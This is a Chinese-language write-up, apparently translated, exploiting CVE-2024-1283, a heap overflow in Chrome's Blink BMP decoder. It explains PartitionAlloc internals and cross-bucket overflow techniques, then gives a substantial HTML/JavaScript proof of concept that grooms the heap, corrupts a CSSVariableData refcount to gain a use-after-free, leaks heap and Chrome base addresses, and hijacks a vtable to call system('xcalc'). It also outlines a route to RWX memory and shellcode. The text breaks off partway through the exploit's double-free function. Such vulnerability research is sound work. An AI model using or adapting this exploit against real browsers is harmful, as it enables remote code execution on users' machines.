白帽故事 · 2024年8月23日 0

巧妙利用内存分配的一种新型利用手段

简介

本文将尝试解释有关 Chrome、Blink 和 PartitionAlloc 内部结构的详细信息,并应用所有这些知识将一个极其受限的漏洞转化为任意代码执行。

该漏洞编号为 CVE-2024-1283,它是 Blink 引擎在解码 BMP 图像时发生的堆溢出。 使用一些与最近的 Linux 内核技巧(如类似弹性堆对象和跨缓存溢出的新技术),我们可以滥用 PartitionAlloc 并利用理论上任意内存写入漏洞,从而实现完整的 ShellCode 执行。

Chrom 渲染引擎概述

Chromium 以及所有基于 Chromium 的浏览器都会使用“Blink 渲染引擎”[1]。该组件负责渲染器进程中发生的大部分事情,例如解析 HTML、CSS、解码图像等。

"A browser engine (also known as a layout engine or rendering engine)
is a core software component of every major web browser. The primary
job of a browser engine is to transform HTML documents and other
resources of a web page into an interactive visual representation
on a user’s device." [2]

Blink 由 Chromium 使用,但被视为一个单独的库,它的代码可以在 src/third_party/blink 的 Chromium 源代码中找到,并且可以在此处找到它自己的存储库 [3]。

虽然这是 Blink 的责任,但并非所有主要功能都必须用其代码编写。例如,执行 JavaScript 对于渲染引擎来说是必要的,但并非所有 JS 引擎都是主代码的一部分。

所使用的 JavaScript 引擎 V8 就是这种情况,它在“v8/”的代码中是独立的,它还有自己的存储库 [4]。这同样适用于某些图像格式 [5] 和视频格式 [6]。然而,其它图像格式完全由 Blink 处理,例如“BMP”、“AVIF”等。

我们可以在src/third_party/blink/renderer/platform/image-decoders中看到它们。

案例研究:BMP 0day

在花了一些时间 Fuzz 这些独立的图像格式之后,研究人员发现了一个非常有趣的错误,BMPImageDecoder 中的“堆溢出”(ASAN 显示好像溢出发生在 Skia 中,导致 CVE 标题不正确 [7 ])。

让我们了解一下这个错误是如何发生的,以及它的原语是什么!让我们从分析 ASAN 堆栈跟踪开始:

  r3tr0@chrome:~/fuzz/bmp$ cat /tmp/bad.bmp | ./test-crash
  =875756 ERROR: AddressSanitizer: heap-buffer-overflow on address[redacted]
  READ of size 32 at 0x521000001100 thread TO
  #0 0xdead in unsigned int vector [8] skcms_private::hsw::load()
  #1 0xdead in skcms_private::hsw::Exec_load_8888_k() 
  #2 0xdead in skcms_private::hsw::Exec_load_8888()
  #3 0xdead in skcms_private:: hsw::exec_stages ()
  #4 0xdead in skcms_private::hsu::run_program()
  #5 0xdead in skcms_Transform
  #6 0xdead in blink::BMPImageReader::ColorCorrectCurrentRow()
  #7 0xdead in blink::BMPImageReader::ProcessRLEData()
  #8 0xdead in blink::BMPImageReader::DecodePixelData(bool)
  #9 0xdead in blink::BMPImageReader::DecodeBMP(bool)
  #10 0xdead in blink::BMPImageDecoder::DecodeHelper(bool)
  #11 0xdead in blink::BMPImageDecoder::Decode(bool)
  #12 0xdead in blink::ImageDecoder::DecodeFrameBufferAtIndex()
  [redacted]

Blink 中的最后一个函数是 BMPImageReader::ColorCorrectCurrentRow(),可以在下面看到该函数的片段:

 void BMPImageReader::ColorCorrectCurrentRow() {
    ...
    // address calc here
    ImageFrame::PixelData* const row = buffer_->GetAddr(0, coord_.y());
    ...
    const bool success =
        skcms_Transform(row, fmt, alpha, transform->SrcProfile(), row, fmt, alpha,
                        transform->DstProfile(), parent_->Size().width());
    DCHECK(success);
    buffer_->SetPixelsChanged(true);
  }

通过一些调试帮助,我们可以得出结论,“buffer->GetAddr(0, coord.y());”中存在地址计算错误,该函数最终被解析为另一个内联函数:

  const uint32_t* addr32(int x, int y) const {
    SkASSERT((unsigned)x < (unsigned)fInfo.width());
    SkASSERT((unsigned)y < (unsigned)fInfo.height());
    return (const uint32_t*)((const char*)this->addr32() + (size_t)y * fRowBytes + (x << 2));
  }

这个功能也可以用一行代码来概括: This-> addr 32()+ y * fRowspel+(x << 2)

不知什么原因,在导致崩溃的迭代中 coord_.y() 等于了 -1,如果用这个值来解决这个计算,我们就可以理解为什么了:

this->addr32() + y * fRowBytes + (x << 2);
  base_addr + -1 * fRowBytes + (0 << 2);
  base_addr - fRowBytes;

假设我们知道变量,“this->addr32()”是图像解码块的基地址,y为-1,x等于0。

因此,结果将是基地址减去 fRowBytes,从而产生指向块开头后面的地址,以及随后在 Skia 中调用的函数,该函数有效地写入此输入缓冲区。我们可以将其视为“memcpy”。缺陷不在于函数,而在于传递给函数的内容。

查看补丁 [8] 可以更清楚地了解为什么会发生这种情况。这是一个简单的 off-by-one 错误,其中“ColorCorrectCurrentRow()”函数被调用的次数比预期多。由于解码是 "自上而下 "进行的,因此每次迭代都会从 y 中减去 1,而不是以 0 结束,下一次迭代发生时,再次减去 y 会将其变成-1。

Bug的力量,原语

很好,但是这个 Bug 给了我们什么样的原语呢?我们可以在哪里写什么?

分析skcms_Transform函数,它接收一种用于图像转换VM的“字节码”。重要的是我们无法控制发送的字节码,只能控制输入缓冲区,因此我们无法控制写入的内容,让我们在运行时分析一个示例,看看会发生什么:

 pwndbg> x/6gx $rdi
  0x1180136a000: 0x4141414141414141    0x4242424242424242
  0x1180136a010: 0x4343434343434343    0x4444444444444444
  0x1180136a020: 0x4545454545454545    0xff00ff00ff00ff00
  pwndbg> continue
  [redacted]
  pwndbg> x/6gx 0x1180136a000
  0x1180136a000: 0x4100000041000000    0x4200000042000000
  0x1180136a010: 0x4300000043000000    0x4400000044000000
  0x1180136a020: 0x4500000045000000    0xff00ff00ff00ff00

基本上,我们只能写入空字节,但字节 0xff 除外,这些字节会被忽略。每 4 个字节中的最高有效字节也将被忽略。这些是相当有限的编写原语,但仍然很强大。

现在我们知道了可以写什么,接着让我们看看可以写在哪里,回到地址计算,我们唯一没有讨论的变量是fRowBytes。

在我们的例子中,这个变量始终是块大小的 1/4,我们可以使用图像的高度和宽度来部分控制它,这会导致最后一个块的末尾部分溢出,假设 BMP 图像块有 0x1000 字节,那么最后 0x400 字节将被损坏:

image.png

似乎都失败了,因为我们只能写入空字节。

最好的想法是覆盖“refcount”属性,但它们都位于块的开头,为了继续前行,需要更好地理解 Chromium 的自定义内存分配器是如何工作的。

PartitionAlloc,内存分配器

“PartitionAlloc 是一款针对空间效率、分配延迟和安全性进行优化的内存分配器。” [9](由 Google 开发,默认在 Chromium 中使用)

很快,我们就可以重点介绍有关PartitionAlloc的最重要的事情:

  • 它是一个 SLAB 分配器,这意味着它会预先分配内存并将其组织成固定大小的块,从安全角度来看,这非常重要
  • 有一个线程缓存,就像 glibc 堆中的 tcache 一样
  • 有一些针对某些类型的内存管理错误的“软保护”,例如double-free(双重释放)
  • 释放slot后,空闲列表指针会以 big-endian (大端)写入该slot的开头

在探索 SLAB 分配器(类似于内核)时,我们期望有一个非常直接的利用路径,只有相同大小的对象才会被分配为彼此相邻,因此,易受攻击的对象和受害者必须具有相同的大小或相似的大小。

PartitionAlloc 中的所有内容都在“页面”内分配,可以是:

  • System Page(系统页面)
    由操作系统定义的页面,通常为 4KiB,但最多支持 64KiB
  • Partition Page(分区页)
    恰好由 4 个系统页面组成
  • Super Page(超级页面)
    2MiB 区域,在 2MiB 边界上对齐
  • Extent(内存块)
    内存块是一系列连续的超级页面

image.png

在每个超级页面内,分配了多个分区页面,其中最小的内存单元可以分为:

  • Slot:是一个单元块
  • Slot span:是一系列相同大小的块
  • Bucket:链接包含相似尺寸Slot的Slot span

image.png

整个超级页面的分配如下:在其开头部分,有3个页面(2个“Guard Pages(防护页面)”,这些页面设置了PROT_NONE权限以防止任何线性破坏,并且在这两个页面之间有一个Metadata Page(元数据页面))。

这个元数据页面包含了一个“Partition Pages”的列表,这是一个用于控制部分页面信息的结构体。它还具有SlotSpanMetadata属性,除了包含该SlotSpanfreelist_head外,还指向该Bucket的指针。

image.png

每个分区Bucket都是一个到其他大小相似的Bucket的链表。

image.png
每个Slot Span可以由N个Partition Page组成,并且具有多个相邻的大小完全相同的Slot。

PartitionAlloc 还有一个a per-thread cache(每线程缓存),它的构建是为了满足最常见分配的需求,并避免中央分配器的性能损失,中央分配器需要上下文锁来防止两个分配返回相同的Slot。

“线程缓存经过定制,可以通过批量从主分配器分配和释放内存来满足绝大多数请求,分摊锁获取并进一步提高局部性,同时不捕获多余的内存。” [10]

PartitionAlloc 的安全保障

从安全角度来看,PartitionAlloc 提供了一些保障:

  1. 线性上溢/下溢不能损坏分区内、分区外或分区之间,分区拥有的每个内存区域的开头和结尾都有保护页
  2. 线性上溢/下溢不会破坏分配元数据,PartitionAlloc 将元数据记录在专用的外线区域(不与对象相邻),周围有保护页(freelist 指针是一个例外)
  3. freelist 指针的部分指针覆盖应该会出现错误
  4. 直接映射分配在开头和结尾都有保护页
  5. 一个页面只能包含同一Bucket中的对象,即使该页面被完全释放

如果仔细观察,1 和 2 的安全保障基本上可以防止元数据页面的损坏和超级页面之间的溢出。这就是上面提到的“保护页”的工作,即具有 PROT_NONE 保护的内存页,当尝试读取、写入或执行该页内的任何内容时,都会导致崩溃。

3 的安全保障仅涉及以大端格式存储 freelist 指针,因此,通过部分破坏该指针,将其转换为小端数法将完全改变该指针。

4只是1和2的变体,其中,如果需要分配不适合公共超级页面的非常大的chunk,则直接通过映射内存来分配该内存,该映射内存再次放置在两个“保护页”之间,一个位于开头,一个位于末尾。

最后,5 对于抵御类型混淆攻击和尝试滥用页面之间的 UAF 很有用。

因此,如果注意的话,没有任何保护或保护措施可以防止两个大小完全不同的buckets彼此相邻分配,而它们之间没有任何类型的红色区域(就像超级页面之间的保护页面的情况一样)。因此,创建这种布局是完全可能且稳定的:

image.png

通过测试上面的假设,可以使用彼此相邻的不同大小的相同对象创建极其稳定的内存布局。

利用

由于有可能溢出到任何其它不同大小的slot中,我们只需要找到一个有趣的目标即可,我们可以搜索带有 |length_| 的对象属性,但由于我们只能写入空字节,我们也许可以通过攻击 |refcount| 属性来更多地利用该漏洞。寻找良好目标的参考,可以遵循用于利用众所周知的"The WebP 0day"[11]。

CSS中的对象和结构是由Blink自己分配的,这些对象中包括 CSSVariableData,它表示 CSS [12] 中变量的值,基于以下几个原因,它似乎是一个很好的目标:

  • 它是一个弹性对象,该对象的大小可以在 16 字节到 2097152 字节(kMaxVariableBytes)之间变化
  • 这是一个“引用计数”对象
  • 它没有任何在取消引用时可能导致崩溃的指针

css_variable_data.h中,我们可以看到该对象的描述:

class CORE_EXPORT CSSVariableData : public RefCounted<CSSVariableData> {
  ...
 private:
 ...
  // 32 bits refcount before this.

  // We'd like to use bool for the booleans, but this causes the struct to
  // balloon in size on Windows:
  // https://randomascii.wordpress.com/2010/06/06/bit-field-packing-with-visual-c/

  // Enough for storing up to 2MB (and then some), cf. kMaxSubstitutionBytes.
  // The remaining 4 bits are kept in reserve for future use.
  const unsigned length_ : 22;
  const unsigned is_animation_tainted_ : 1;       // bool.
  const unsigned needs_variable_resolution_ : 1;  // bool.
  const unsigned is_8bit_ : 1;                    // bool.
  unsigned has_font_units_ : 1;                   // bool.
  unsigned has_root_font_units_ : 1;              // bool.
  unsigned has_line_height_units_ : 1;            // bool.
  const unsigned unused_ : 4;

在内存中,该对象反映了以下布局:

image.png

分配该对象的代码可以在同一个文件中找到:

// third_party/blink/renderer/core/css/css_variable_data.h:34
static scoped_refptr<CSSVariableData> Create(StringView original_text,
                                             bool is_animation_tainted,
                                             bool needs_variable_resolution,
                                             bool has_font_units,
                                             bool has_root_font_units,
                                             bool has_line_height_units) {
  if (original_text.length() > kMaxVariableBytes) {
    // This should have been blocked off during variable substitution.
    NOTREACHED();
    return nullptr;
  }

  wtf_size_t bytes_needed =
      sizeof(CSSVariableData) + (original_text.Is8Bit()
                                     ? original_text.length()
                                     : 2 * original_text.length());
  void* buf = WTF::Partitions::FastMalloc(
      bytes_needed, WTF::GetStringWithTypeName<CSSVariableData>());
  return base::AdoptRef(new (buf) CSSVariableData(
      original_text, is_animation_tainted, needs_variable_resolution,
      has_font_units, has_root_font_units, has_line_height_units));
}

是的,这似乎是一个很好的目标,但现在需要讨论这个对象将被分配到哪个bucket中,由于线程缓存的原因,这些对象不会被放置在一起。

我们需要强制线程缓存清除bucket,以便易受攻击的对象和受害者共享相同的超级页面,幸运的是,这很容易做到,我们只需要将缓存填充到“limit”,如以下注释所示:

// base/allocator/partition_allocator/src/partition_alloc/thread_cache.cc:586

// For each bucket, there is a |limit| of how many cached objects there are in
// the bucket, so |count| < |limit| at all times.
// - Clearing: limit -> limit / 2
// - Filling: 0 -> limit / kBatchFillRatio

执行该子程序的代码如下所示:

// base/allocator/partition_allocator/src/partition_alloc/thread_cache.h:511

PA_ALWAYS_INLINE bool ThreadCache::MaybePutInCache(uintptr_t slot_start,
                                                   size_t bucket_index,
                                                   size_t* slot_size) {
  PA_REENTRANCY_GUARD(is_in_thread_cache_);
  ...
  auto& bucket = buckets_[bucket_index];
  ...
  uint8_t limit = bucket.limit.load(std::memory_order_relaxed);
  // Batched deallocation, amortizing lock acquisitions.
  if (PA_UNLIKELY(bucket.count > limit)) {
    ClearBucket(bucket, limit / 2);
  }
  ...

现在让我们用 JS 创建这个布局,那么如何操纵这些对象来创建完美的布局呢?

首先,让我们强制分配一个新的超级页面以拥有更多的控制权,为此,我们可以简单地进行几次堆喷。

let div0 = document.getElementById('div0');
for (let i = 0; i < 30; i++) {
  div0.style.setProperty(`--sprayA${i}`, kCSSString);
  div0.style.setProperty(`--sprayC${i}`, kCSSStringCross0x2000);
  div0.style.setProperty(`--sprayB${i}`, kCSSStringHRTF);
}

之后,强制对象 A 与 C 相邻,对象 B 应该分配在靠近其它对象的位置,但不能与其它对象相邻,因为它对于获取内存泄漏很有用。

for (let i = 0; i < 50; i++) {
  for (let j = 0; j < 4; j++) {
    // spraying allocation of 2 different size spans
    // very close to 100% of attempts, the same object is allocated
    // after a different sized slot
    const CSSValName = `${i}.${j}`.padEnd(0x7fcc, 'A');
    div0.style.setProperty(`--a${i}.${j}`, CSSValName);
    const CSSValName2 = `${i}.${j}`.padEnd(0x1fcc, 'C');
    div0.style.setProperty(`--c${i}.${j}`, CSSValName2);
  }
  for (let j = 0; j < 64; j++) {
    const CSSValName = `${i}.${j}`.padEnd(0x414, 'B');
    div0.style.setProperty(`--b${i}.${j}`, CSSValName);
  }
}

最后,让我们清理Bucket来完成布局的准备:

for (let i = 10; i < 30; i++) {
  div0.style.removeProperty(`--a${i}.2`);
}
for (let i = 46; i > 20; i--) {
  div0.style.removeProperty(`--c${i}.0`);
}
gc(); await sleep(500);

现在,在创建正确的堆布局后,我们将覆盖“refcount”,触发释放,并在受害者对象上分配完全可控的数据对象,从而创建 UAF 的利用条件。

我们可以滥用空字节的条件写入,如果你还记得 0xff 字节被忽略,那么我们可以将 ref_count_ 增加到 0xff01 并触发该漏洞,此后,引用计数将为“0xff00”,调用“gc();”将释放该对象,同时将在我们仍然有活动引用的情况下释放这个对象。

记住:实际上,ref_count_是从2开始的,所以需要将其增加到0xff02,否则ref_count将达到-1并导致崩溃

image.png

完美!我们可以使用任何对象来消耗这个freelist条目并覆盖 |length_|属性,为此,我们将使用可以完全控制的 AudioArray, AudioArray 也是一个弹性对象,之前已被用于利用另一种类型的 UAF [13]。

现在我们可以通过 OOB 读取:

fetch("/bad.bmp").then(async response => {
  let rs = getComputedStyle(div0);
  let imageDecoder = new ImageDecoder({
    data: response.body,
    type: "image/bmp"
  });
  increase_refs(0xff02); // overflow will overwrite 0xff02 to 0xff00

  imageDecoder.decode().then(async () => {
    gc(); gc();
    await sleep(2500);
    let ab = new ArrayBuffer(0x600);
    let view = new Uint32Array(ab);

    // fake CSSVariableData
    view[0] = 1; // ref_count
    const newCSSVarLen = 0x19000;
    view[1] = newCSSVarLen | 0x01000000; // length and flags, set is_8bit_
    for (let i = 2; i < view.length; i++)
      view[i] = i;
    await allocAudioArray(0x2000, ab, 1);
    leak();
  })
});

async function leak() {
  console.log("continuing...");
  let div0 = document.getElementById('div0');
  let rs = getComputedStyle(div0);
  let CSSLeak = rs.getPropertyValue(kTargetCSSVar).substring(0x15000 - 8);
  console.log(CSSLeak.length.toString(16));
...

很好,但还不够,虽然我们已经击败了 ASLR,但现在我们需要一个控制流劫持,我们可以直接再次攻击 PartitionAlloc 并破坏 freelist 指针,而不是寻找更好的受害者对象,这需要创建一个Double Free 条件,这将导致循环freelist并最终覆盖指针。

CSSVariableData 和 AudioArray 本质上指向相同的地址,因此我们可以使它们都被释放并导致“Double Free”,如果这么做,写入块中的freelist指针将指向其自身:

image.png

对损坏指针的唯一限制是它必须来自同一超级页面,为了实现代码执行,我们将释放对象 B 并分配具有 vtable 的对象,然后破坏freelist以指向这些对象之一,这样,我们就可以破坏 vtable 指针并轻松获得控制流劫持,遵循漏洞利用的片段分配 vtable 对象并泄漏其地址:

CSSVars = [
  // this regex is used to find the B objects in memory
  // the pattern match with: 0x2000 + flags + "${i}.${j}" + "BBBBB..."
  ...CSSLeak.matchAll(/\x02\x00\x00\x00\x14\x04\x00\x01(\d+\.\d+)/g)
];
...
for (let i = 0; i < kSprayPannerCount; i++) {
  panners.push(audioCtx.createPanner());
}
for (let i = 0; i < kSprayPannerCount; i++) {
  // i really idk why, but i need add the ref_count_ and remove the
  // prop to trigger free
  rs.getPropertyValue(`--b${CSSVars[i][1]}`);
  div0.style.removeProperty(`--b${CSSVars[i][1]}`);
}
gc(); gc(); await sleep(1000);

for (let i = 0; i < panners.length; i++) {
  // allocating objects with vtables
  panners[i].panningModel = 'HRTF';
}

// free two panners after target CSSVariableData
panners[kSprayPannerCount - 2].panningModel = 'equalpower';
panners[kSprayPannerCount - 1].panningModel = 'equalpower';
await sleep(1000);
let hrtfLeak = rs.getPropertyValue(kTargetCSSVar).substring(0x15000 - 8);

现在只需创建假虚函数表并利用!!

let ab = new ArrayBuffer(0x600);
let abFakeObj = new ArrayBuffer(0x600);
let view = new BigUint64Array(ab);
let viewFakeObj = new DataView(abFakeObj);
view[0] = swapEndian(fakePannerAddr - 0x10n);

for (let i = 0; i < viewFakeObj.byteLength; i++)
  viewFakeObj.setUint8(i, 0x4a); // "J"

const system_addr = chromeBase + kSystemLibcOffset;
// call   qword ptr [rax + 8]
viewFakeObj.setBigUint64(0x0, fakePannerAddr + 8n - 8n, true);
// viewFakeObj.setBigUint64(8, 0xdeadbeefn, true);
viewFakeObj.setBigUint64(0x8, chromeBase + kWriteListenerOffset, true);
// fake BindState addr
viewFakeObj.setBigUint64(0x10, fakePannerAddr + 0x18n, true);

// start of fake BindState
// The first int64 are the value which will passed to function address
// in second int64
viewFakeObj.setBigUint64(0x18 + 0,
// 0x636c616378 == xcalc
  0x636c616378n /* -1 because ref_count_ + 1 */ - 1n, true);
viewFakeObj.setBigUint64(0x18 + 0x8, system_addr, true);

在本例中,只需使用一个简单的“system("xcalc")”。

对于更复杂的利用,我们可以使用一系列更完整的gadgets, Chromium 有一些超级强大的gadgets,可以轻松执行 shellcode。

可以使用“blink::FileSystemDispatcher::WriteListener::DidWrite”,后跟一个假的“BindState”,有了这两个,我们就可以通过控制RDI,即函数的第一个参数来调用任何函数。

通过与 content::ServiceWorkerContextCore::OnControlleeRemoved 结合,我们可以选择一个函数和 N 个参数,有了这个能力,我们调用函数“v8::base::AddressSpaceReservation::SetPermissions”并将其分配给内存页RWX。

我们唯一需要做的就是用 vtable 破坏第二个对象,并在将一些 shellcode 复制到其中后,使其指向此 RWX 页。

如果你想查看使用这些技术的完整漏洞,可以在此处查看前面提到的漏洞[11] [13]。

要点、进展及其它

本文试图剖析 PartitionAlloc 的最重要的一点,并解释诸如“Double Free任意分配”之类的最新技术,以及诸如“跨Bucket溢出”之类的全新技术。

理论上,这些技术可用于利用 PartitionAlloc 中的任何内存损坏漏洞,这对于不是很完美漏洞的武器化非常有趣。

其中很多技术让人想起近年来内核漏洞利用场景中的技巧,例如“弹性对象”和“跨缓存溢出”,高性能分配器往往会共享其操作和性能中固有的漏洞。

如上所述,内存分配器是浏览器等高性能软件中极其关键的组件,并且必须极其简单和快速。这种简单性是以安全性为代价的。

Chromium 具有出色的安全措施,例如“安全 libc++”,可以防止大量漏洞,但在第一次内存破坏之后,攻击者的情况非常特殊,几乎没有什么可以阻止他们。

最近所有新的缓解措施都集中在减轻来自 JS 引擎的内存破坏,精心设计的 V8 沙箱就是如此。然而,这并不够。尽管 JavaScript 是一个极其容易出现错误的子系统,但许多其它领域的研究仍然很少。

参考

[1] https://www.chromium.org/blink/#what-is-blink
[2] https://en.wikipedia.org/wiki/Browser_engine
[3] https://chromium.googlesource.com/chromium/blink/
[4] https://chromium.googlesource.com/v8/v8/
[5] http://libpng.org/
[6] https://chromium.googlesource.com/webm/libvpx/
[7] https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-1283
[8] https://chromium-review.googlesource.com/c/chromium/src/+/5241305/7/
third_party/blink/renderer/platform/image-decoders/bmp/bmp_image_reader.cc
[9] https://chromium.googlesource.com/chromium/src/+/master/base/
allocator/partition_allocator/PartitionAlloc.md#overview
[10] https://chromium.googlesource.com/chromium/src/+/master/base/
allocator/partition_allocator/PartitionAlloc.md#performance
[11] https://www.darknavy.org/blog/exploiting_the_libwebp_vulnerability_part_2/
[12] https://developer.mozilla.org/en-US/docs/Web/CSS/Using_CSS_custom_properties
[13] https://securitylab.github.com/research/one_day_short_of_a_fullchain_renderer/

Exploit Code

<!-- ./chrome --no-sandbox --headless --user-data-dir=/tmp/not-exist \
  --disable-gpu --remote-debugging-port=9222 --enable-logging=stderr \
  http://localhost:8000/exploit.html
  -->
<html>

<head>
  <script>
    const kHRTFPannerVtableOffset = 0x10e5570n;
    const kHRTFPannerHeapOffset = 0x22620n;
    // blink::FileSystemDispatcher::WriteListener::DidWrite
    const kWriteListenerOffset = -0xd401d0n;

    // this can be used to more complex exploitation giving RWX perm and
    // writing a shellcode, this is a minimal POC which only pop xcalc
    // blink::FileSystemDispatcher::WriteListener::DidWrite
    // const kPolymorphicInvokeOffset = 0xe1cde26n;
    // const kRetOffset = kWriteListenerOffset + 104n; // ret instruction
    // v8::base::AddressSpaceReservation::SetPermissions
    // const kOSSetPermissionsOffset = -0x5a09080n;
    // const kShellcode = [
    //   0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc
    // ];
    const kSystemLibcOffset = -0x31af290n;

    // this string size +0x34, fits into 0x400 bucket
    const kCSSStringCross0x2000 = 'C'.repeat(0x1fcc);
    // HRTFPanner sized 0x448, fits into 0x500(?) bucket
    const kCSSStringHRTF = 'B'.repeat(0x414); // 0x414 + 0x34 == 0x448
    const kCSSString = 'A'.repeat(0x7fcc);
    const kSprayPannerCount = 10;
    const kTargetCSSVar = '--c13.2';

    const audioCtx = new OfflineAudioContext(1, 4096, 4096);
    var panners = [];
    var audioCtxArr = [];
    var delayNodeArr = [];
    var srcNodeArr = [];
    var heapAddr = -1n;
    var fakePannerAddr = -1n;
    var chromeBase = -1n;

    function die(msg) {
      console.log(msg);
      throw msg;
    }

    function str2ab(str) {
      let buf = new ArrayBuffer(str.length);
      let view = new Uint8Array(buf);
      for (let i = 0; i < str.length; i++) {
        view[i] = str.charCodeAt(i);
      }
      return buf;
    }

    function u64(str, is_little_endian = true) {
      if (str.length != 8)
        die('string length is not 8');
      let ab = str2ab(str);
      let view = new DataView(ab);
      return view.getBigUint64(0, is_little_endian);
    }

    function swapEndian(n) {
      let view = new DataView(new ArrayBuffer(8));
      view.setBigUint64(0, n, true);
      return view.getBigUint64(0, false);
    }

    // function sleep(ms) {
    //   var start = new Date().getTime();
    //   while (new Date().getTime() < start + ms) { /* wait */ }
    // }
    function sleep(ms) {
      return new Promise(resolve => setTimeout(resolve, ms));
    }

    function gc() {
      let x = [];
      for (let i = 0; i < 200; i++) {
        x.push(new Array(1024 * 1024));
      }
    }

    function increase_refs(ref_count_) {
      let rs = getComputedStyle(div0);
      // the default ref_count_ is 2
      for (let i = 0; i < ref_count_ - 2; i++) {
        rs.getPropertyValue(kTargetCSSVar);
      }
    }

    async function allocAudioArray(size, data, count) {
      const delay = ((size - 0x20) / 4 - 0x80) / 4096;
      const prevCount = audioCtxArr.length;
      for (let i = 0; i < count; i++) {
        let audioCtxDelay = new OfflineAudioContext(1, 4096, 4096);
        // will alloc ((delay * 4096 * 1024) / 1024 + 0x80) * 4 + 0x20
        let delayNode = audioCtxDelay.createDelay(delay);
        audioCtxArr.push(audioCtxDelay);
        delayNodeArr.push(delayNode);
      }

      // FIXME: only the first 0x600 is controled now
      // buffer content is getting weird when size is big
      if (data.byteLength > 0x600)
        die('data too long for Audio Array');
      let buffer = audioCtx.createBuffer(1, 0x600, 4096);
      let dstData = buffer.getChannelData(0);
      new Uint8Array(dstData.buffer).set(new Uint8Array(data));

      for (let i = 0; i < count; i++) {
        let audioCtxDelay = audioCtxArr[prevCount + i];
        let delayNode = delayNodeArr[prevCount + i];
        let srcNode = audioCtxDelay.createBufferSource();
        srcNodeArr.push(srcNode);
        srcNode.buffer = buffer;
        srcNode.connect(delayNode).connect(audioCtxDelay.destination);
        // audioCtxDelay.suspend(1);
        audioCtxDelay.suspend(0x600 / 4096.0);
        srcNode.start();
        audioCtxDelay.startRendering();
      }
      await sleep(500);
    }

    async function pwn() {
      console.log("start");
      let div0 = document.getElementById('div0');
      for (let i = 0; i < 30; i++) {
        div0.style.setProperty(`--sprayA${i}`, kCSSString);
        div0.style.setProperty(`--sprayC${i}`, kCSSStringCross0x2000);
        div0.style.setProperty(`--sprayB${i}`, kCSSStringHRTF);
      }

      for (let i = 0; i < 50; i++) {
        for (let j = 0; j < 4; j++) {
          // spraying allocation of 2 different size spans
          // very close to 100% of attempts, the same object is allocated
          // after a different sized slot
          const CSSValName = `${i}.${j}`.padEnd(0x7fcc, 'A');
          div0.style.setProperty(`--a${i}.${j}`, CSSValName);
          const CSSValName2 = `${i}.${j}`.padEnd(0x1fcc, 'C');
          div0.style.setProperty(`--c${i}.${j}`, CSSValName2);
        }
        for (let j = 0; j < 64; j++) {
          const CSSValName = `${i}.${j}`.padEnd(0x414, 'B');
          div0.style.setProperty(`--b${i}.${j}`, CSSValName);
        }
      }

      for (let i = 10; i < 30; i++) {
        div0.style.removeProperty(`--a${i}.2`);
      }
      for (let i = 46; i > 20; i--) {
        div0.style.removeProperty(`--c${i}.0`);
      }
      gc(); await sleep(500);

      console.log("overflowing...");
      fetch("/bad.bmp").then(async response => {
        let rs = getComputedStyle(div0);
        let imageDecoder = new ImageDecoder({
          data: response.body,
          type: "image/bmp"
        });
        increase_refs(0xff02); // overflow will overwrite 0xff02 to 0xff00

        imageDecoder.decode().then(async () => {
          gc(); gc();
          await sleep(2500);
          let ab = new ArrayBuffer(0x600);
          let view = new Uint32Array(ab);

          // fake CSSVariableData
          view[0] = 1; // ref_count
          const newCSSVarLen = 0x19000;
          // kMaxVariableBytes
          // console.assert(newCSSVarLen <= 2097152, 'CSSLen too long');
          // length and flags, set is_8bit_
          view[1] = newCSSVarLen | 0x01000000;
          for (let i = 2; i < view.length; i++)
            view[i] = i;
          await allocAudioArray(0x2000, ab, 1);
          leak();
        })
      });
    }

    async function leak() {
      console.log("continuing...");
      let div0 = document.getElementById('div0');
      let rs = getComputedStyle(div0);
      let CSSLeak = rs.getPropertyValue(kTargetCSSVar)
        .substring(0x15000 - 8);
      console.log(CSSLeak.length.toString(16));
      let memoryPattern = /\x02\x00\x00\x00\x14\x04\x00\x01(\d+\.\d+)/g;
      CSSVars = [...CSSLeak.matchAll(memoryPattern)];
      console.log(CSSVars);
      if (CSSVars.length < kSprayPannerCount) {
        console.log("WARN: insufficient CSSVars found, found vs min:",
          CSSVars.length, "vs", kSprayPannerCount);
        return;
      }
      console.log("corrupted with success");

      for (let i = 0; i < kSprayPannerCount; i++) {
        panners.push(audioCtx.createPanner());
      }
      for (let i = 0; i < kSprayPannerCount; i++) {
        // console.log(`removing --b${CSSVars[i][1]}`);
        // i really idk why, but i need add the ref_count_ and remove the
        // prop to trigger free
        rs.getPropertyValue(`--b${CSSVars[i][1]}`);
        div0.style.removeProperty(`--b${CSSVars[i][1]}`);
      }
      gc(); gc(); await sleep(1000);

      for (let i = 0; i < panners.length; i++) {
        panners[i].panningModel = 'HRTF';
      }

      // free two panners after target CSSVariableData
      panners[kSprayPannerCount - 2].panningModel = 'equalpower';
      panners[kSprayPannerCount - 1].panningModel = 'equalpower';
      await sleep(1000);
      let hrtfLeak = rs.getPropertyValue(kTargetCSSVar)
        .substring(0x15000 - 8);
      for (let i = 0; i < CSSVars.length; i++) {
        let leak = hrtfLeak.substring(CSSVars[i].index, CSSVars[i].index + 8);
        console.log("0x" + u64(leak).toString(16),
          "0x" + CSSVars[i].index.toString(16));
      }
      heapAddr = (u64(hrtfLeak.substring(CSSVars[8].index + 8,
        CSSVars[8].index + 8 + 8)) & 0xfffffffffff00000n) + 0xc000n;
      fakePannerAddr = heapAddr - 0x959000n + BigInt(CSSVars[8].index);
      chromeBase = u64(hrtfLeak.substring(CSSVars[8].index,
        CSSVars[8].index + 8));
      chromeBase -= kHRTFPannerVtableOffset;
      console.log("heap leak: 0x" + heapAddr.toString(16),
        CSSVars[1].index.toString(16));
      console.log("chrome leak: 0x" + chromeBase.toString(16),
        CSSVars[8].index.toString(16));
      console.log("fakePannerAddr: 0x" + fakePannerAddr.toString(16));
      // search '13.1CCCCC' anon:partition_alloc ; x/gx addr+0x2000-8
      console.log("CSSVarData UAF: 0x" + (heapAddr - 0x982000n)
        .toString(16));
      console.log("hrtfLeak.length: 0x" + hrtfLeak.length.toString(16));
      gc();
      setTimeout(doubleFree, 1000);
    }

    async function doubleFree() {
      console.log("start free(CSSVariableData)")
      let div0 = document.getElementById('div0');
      let div1 = document.getElementById('div1');
      let audioCtxDelay = audioCtxArr.pop();
      let delayNode = delayNodeArr.pop();
      let srcNode = srcNodeArr.pop();

      let ab = new ArrayBuffer(0x600);
      let abFakeObj = new ArrayBuffer(0x600);
